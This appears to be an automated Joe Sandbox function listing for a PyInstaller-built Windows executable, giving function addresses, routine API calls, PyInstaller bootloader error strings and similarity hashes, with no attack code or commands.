Instruction ID: 039ce73a4a3c374f10dd7d95612863b59837e46f9440153119b05fb289f251d2
Opcode Fuzzy Hash: cf77275b4bf0387ff900e5ea28e17749df250fc4abdfb995cff073003fe970f9
Instruction Fuzzy Hash: 9812DB6494AB0B80FE99EB05A970770A361AF86F41BD85437C92EC6354FF7CA55C8322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A12B0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E54A2B30: MessageBoxW.USER32 ref: 00007FF7E54A2C05

_fread_nolock.LIBCMT ref: 00007FF7E54A1499

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF7E54A12FE
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7E54A1370
\, xrefs: 00007FF7E54A13F5
fread, xrefs: 00007FF7E54A14C6
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7E54A14BF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7E54A132B
malloc, xrefs: 00007FF7E54A1377
%s%c%s, xrefs: 00007FF7E54A13EE
fseek, xrefs: 00007FF7E54A1332

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Message_fread_nolock
String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
API String ID: 3065259568-2316137593
Opcode ID: 2714e9bab973abeab772a23fcc52ec76ba6fa2e6453cd7e0bdc1fde0ad61d86a
Instruction ID: ce3a2f53fbdb480353c789aa747c3e76e0e15c57d178a4cd1c0ce85a7ee7bd4e
Opcode Fuzzy Hash: 2714e9bab973abeab772a23fcc52ec76ba6fa2e6453cd7e0bdc1fde0ad61d86a
Instruction Fuzzy Hash: 4251C761A0868A45FAA0B761A4707FAA354AF46FC4FD05433ED4D87B86EF3CE5099311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A23F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7E54A241B
SelectObject.GDI32 ref: 00007FF7E54A2462
DrawTextW.USER32 ref: 00007FF7E54A2485
SelectObject.GDI32 ref: 00007FF7E54A249B
ReleaseDC.USER32 ref: 00007FF7E54A24AB
MoveWindow.USER32 ref: 00007FF7E54A24FB
MoveWindow.USER32 ref: 00007FF7E54A253B
MoveWindow.USER32 ref: 00007FF7E54A258E
MoveWindow.USER32 ref: 00007FF7E54A25D6

Strings

P%, xrefs: 00007FF7E54A246F

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 7645c0c2d2fce03d3aab2d1fd33ee4a3925b53edade4cf92fedf68089910dc30
Instruction ID: ae9d424d0907656d568ac6fd1a52b9a7c6fef6ac0585c21e343bf6e10e655164
Opcode Fuzzy Hash: 7645c0c2d2fce03d3aab2d1fd33ee4a3925b53edade4cf92fedf68089910dc30
Instruction Fuzzy Hash: CC51F926618BA186D6349F36B4182BAF7A1F798B61F404126EFCE83755DF3CD049DB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B67A4 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B67E7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B6BD4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B6E70

Strings

p, xrefs: 00007FF7E54B6911
-, xrefs: 00007FF7E54B687D
:, xrefs: 00007FF7E54B69A0
f, xrefs: 00007FF7E54B6909
p, xrefs: 00007FF7E54B6899

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: c6ac63e3974c66327622d921c1304357062fd3cb2bcbfe9c56688102bfb98152
Instruction ID: 477bdb464e3560f7362707dede9f75ecf579961bf0808c8d5f9b2d643357fe54
Opcode Fuzzy Hash: c6ac63e3974c66327622d921c1304357062fd3cb2bcbfe9c56688102bfb98152
Instruction Fuzzy Hash: C312B471E0C95B46FBA07A94D1643B9F6B1EB42F50FC44137E689866C4DF3CE4888B22

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B1108 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B1148
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B1510
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B17AF

Strings

f, xrefs: 00007FF7E54B1395
p, xrefs: 00007FF7E54B1252
f, xrefs: 00007FF7E54B124A
f, xrefs: 00007FF7E54B11E0
p, xrefs: 00007FF7E54B11ED

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 7160b50ef5c5d9843a5fd5f0d5cd643ebb1f382f7049b3f2f81a6a7c29ab944c
Instruction ID: 1efaf396ddcc41eb8655520bb49a92f24e55f28b5895b428b6995b9d82e0e9b3
Opcode Fuzzy Hash: 7160b50ef5c5d9843a5fd5f0d5cd643ebb1f382f7049b3f2f81a6a7c29ab944c
Instruction Fuzzy Hash: 1212B4B2E0C14B85FBA47A94E06477AF251FB42B50FC45137D68AC76C4DB3CE5889B22

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A15A0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF7E54A15D3
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7E54A1639
fread, xrefs: 00007FF7E54A16C9
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7E54A16C2
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7E54A1609
malloc, xrefs: 00007FF7E54A1640
fseek, xrefs: 00007FF7E54A1610

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: f12d84f73c05722f200af6a57cf2846a16753c7eda0de229a1953e50528e3e40
Instruction ID: 55d8d87a6624002c5c6d2262d2c7160accb685f4f3c8dd83925666812abd7840
Opcode Fuzzy Hash: f12d84f73c05722f200af6a57cf2846a16753c7eda0de229a1953e50528e3e40
Instruction Fuzzy Hash: 05319361B0864A46FA60BB51E4603BAE350AF46FD4FD45433DE4D87A96EE3CE5098322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54AEB00 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7E54AEB5D

Part of subcall function 00007FF7E54AFA70: __GetUnwindTryBlock.LIBCMT ref: 00007FF7E54AFAB3
Part of subcall function 00007FF7E54AFA70: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7E54AFAD8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7E54AEC35
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7E54AEE8A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7E54AEF96

Strings

csm, xrefs: 00007FF7E54AEB77
csm, xrefs: 00007FF7E54AEC58
csm, xrefs: 00007FF7E54AEBDE

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 2b2a4badfdaa60d9abfb93841dcb65d735c0fc58e4118d1b5c2a51383b6331b7
Instruction ID: 4d59f2f472c37eb04d424b932f04ba6277e270ae11464bc3a1a78d10ea9ac01d
Opcode Fuzzy Hash: 2b2a4badfdaa60d9abfb93841dcb65d735c0fc58e4118d1b5c2a51383b6331b7
Instruction Fuzzy Hash: 0BE1B832A0874585EB90AF65D4503ADB7A0FB46B88F500136EE5D87B9BEF38E454C712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BF1D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7E54BF56A,?,?,00000145A1888B38,00007FF7E54BB317,?,?,?,00007FF7E54BB20E,?,?,?,00007FF7E54B6452), ref: 00007FF7E54BF34C
GetProcAddress.KERNEL32(?,?,?,00007FF7E54BF56A,?,?,00000145A1888B38,00007FF7E54BB317,?,?,?,00007FF7E54BB20E,?,?,?,00007FF7E54B6452), ref: 00007FF7E54BF358

Strings

api-ms-, xrefs: 00007FF7E54BF296
ext-ms-, xrefs: 00007FF7E54BF2A9

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d2429d82f74935346a71535361e23a0a0fd68cfa18870ede5d154c99e1daa8a5
Instruction ID: 9fee8fb9315569ee30a9e3cf93fc0671ae811b6cfe29733269e8cdd73221dd0a
Opcode Fuzzy Hash: d2429d82f74935346a71535361e23a0a0fd68cfa18870ede5d154c99e1daa8a5
Instruction Fuzzy Hash: 6A412732B19A0A51FA9AEB569820375A390BF46F90FD40136DD0DC7784EE3DE44DC322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A86B0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7E54A101D), ref: 00007FF7E54A8747
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7E54A101D), ref: 00007FF7E54A879E

Strings

Out of memory., xrefs: 00007FF7E54A87CF
WideCharToMultiByte, xrefs: 00007FF7E54A87E6
Failed to get UTF-8 buffer size., xrefs: 00007FF7E54A87DF
win32_utils_to_utf8, xrefs: 00007FF7E54A87D6
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7E54A87C6

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 3d8cc197ee630c3fb00dd31b72f24074ca9fe52add05c6a83a64952da4f63ba4
Instruction ID: 9c48e58ba48bb886e9105f8d5d690ec31e7de848ff20306ee92fcfa0ba42fbee
Opcode Fuzzy Hash: 3d8cc197ee630c3fb00dd31b72f24074ca9fe52add05c6a83a64952da4f63ba4
Instruction Fuzzy Hash: 4841E832A08B8681E760EF11B85023AF6A1FB85F90F944136DE9D97B95EF3CD049C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A8BF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF7E54A39EA), ref: 00007FF7E54A8C31

Part of subcall function 00007FF7E54A29E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7E54A87F2,?,?,?,?,?,?,?,?,?,?,?,00007FF7E54A101D), ref: 00007FF7E54A2A14
Part of subcall function 00007FF7E54A29E0: MessageBoxW.USER32 ref: 00007FF7E54A2AF0

WideCharToMultiByte.KERNEL32(?,00007FF7E54A39EA), ref: 00007FF7E54A8CA5

Strings

Out of memory., xrefs: 00007FF7E54A8C6B
WideCharToMultiByte, xrefs: 00007FF7E54A8C45, 00007FF7E54A8CB6
Failed to get UTF-8 buffer size., xrefs: 00007FF7E54A8C3E
win32_utils_to_utf8, xrefs: 00007FF7E54A8C72
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7E54A8CAF

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: 93215b2962e715be9f5aa91d99be70836a612e16585fb8aee950a2577366c4a3
Instruction ID: e193bc87a8f83cd53979237955e835faac12d79f9a01a88a0704fb8a2c60de11
Opcode Fuzzy Hash: 93215b2962e715be9f5aa91d99be70836a612e16585fb8aee950a2577366c4a3
Instruction Fuzzy Hash: 8D21AD71B09B4A85FB50FF12A860279F261EB86FD0BD44136CA0D93795EF3CE5498711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A75A0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7E54A7716

Part of subcall function 00007FF7E54B0250: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B0264

Part of subcall function 00007FF7E54B0224: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B0238

Strings

WARNING: file already exists but should not: %s, xrefs: 00007FF7E54A7698
ERROR: file already exists but should not: %s, xrefs: 00007FF7E54A767C
\, xrefs: 00007FF7E54A75EC
%s%c%s, xrefs: 00007FF7E54A75E5
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7E54A7632

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_fread_nolock
String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
API String ID: 3231891352-3501660386
Opcode ID: 01dfd7116e9dd0988736918d7574cbc4f11653d37c14e814b4d920a560d8998e
Instruction ID: 2c105d98bc61648f83260b333a2bbf95dc16a72d057bafcc64490437811a5d8e
Opcode Fuzzy Hash: 01dfd7116e9dd0988736918d7574cbc4f11653d37c14e814b4d920a560d8998e
Instruction Fuzzy Hash: 94515065A0D64B41FAA6B76599703B9E2915F86F90FC40032E90DC76D7FE3CE6088362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54ADDB8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7E54AE06A,?,?,?,00007FF7E54ADD5C,?,?,00000001,00007FF7E54AD979), ref: 00007FF7E54ADE3D
GetLastError.KERNEL32(?,?,?,00007FF7E54AE06A,?,?,?,00007FF7E54ADD5C,?,?,00000001,00007FF7E54AD979), ref: 00007FF7E54ADE4B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7E54AE06A,?,?,?,00007FF7E54ADD5C,?,?,00000001,00007FF7E54AD979), ref: 00007FF7E54ADE75
FreeLibrary.KERNEL32(?,?,?,00007FF7E54AE06A,?,?,?,00007FF7E54ADD5C,?,?,00000001,00007FF7E54AD979), ref: 00007FF7E54ADEBB
GetProcAddress.KERNEL32(?,?,?,00007FF7E54AE06A,?,?,?,00007FF7E54ADD5C,?,?,00000001,00007FF7E54AD979), ref: 00007FF7E54ADEC7

Strings

api-ms-, xrefs: 00007FF7E54ADE5D

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: fa40dd5a34ae4d0b6736a9b6b46f8404287a490a05e4db78c585315ae40f634e
Instruction ID: 59c14dd3c5ac0dfb0fec385e1ce102fbe6013d3f814abd5daa54dae0b0678ab9
Opcode Fuzzy Hash: fa40dd5a34ae4d0b6736a9b6b46f8404287a490a05e4db78c585315ae40f634e
Instruction Fuzzy Hash: 3C31EA21A1AB4A91FE91FB02A410776A3D4BF56FA0FD50536DD1D86342FF3CE4488321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A7420 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E54A8AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7E54A2ABB), ref: 00007FF7E54A8B1A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF7E54A79A1,00000000,?,00000000,00000000,?,00007FF7E54A154F), ref: 00007FF7E54A747F

Part of subcall function 00007FF7E54A2B30: MessageBoxW.USER32 ref: 00007FF7E54A2C05

Strings

LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7E54A7456
LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7E54A74DA
LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7E54A7493

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 5e8575f0beacdb372a81e9debe9bb6d766e8e255e7029f60019f70bf69282784
Instruction ID: 9cf18c1a5e94a4762c2f391aef00159f8da9e68ed3230f89868073edb50559d6
Opcode Fuzzy Hash: 5e8575f0beacdb372a81e9debe9bb6d766e8e255e7029f60019f70bf69282784
Instruction Fuzzy Hash: 53318A51B1C64A41FAB0B72195753BAD291AF9AF80FC44437DA4DC6B97FD3CE10C8622

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A8AE0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7E54A2ABB), ref: 00007FF7E54A8B1A

Part of subcall function 00007FF7E54A29E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7E54A87F2,?,?,?,?,?,?,?,?,?,?,?,00007FF7E54A101D), ref: 00007FF7E54A2A14
Part of subcall function 00007FF7E54A29E0: MessageBoxW.USER32 ref: 00007FF7E54A2AF0

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7E54A2ABB), ref: 00007FF7E54A8BA0

Strings

Out of memory., xrefs: 00007FF7E54A8B62
Failed to get wchar_t buffer size., xrefs: 00007FF7E54A8B27
Failed to decode wchar_t from UTF-8, xrefs: 00007FF7E54A8BAA
win32_utils_from_utf8, xrefs: 00007FF7E54A8B69
MultiByteToWideChar, xrefs: 00007FF7E54A8B2E, 00007FF7E54A8BB1

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
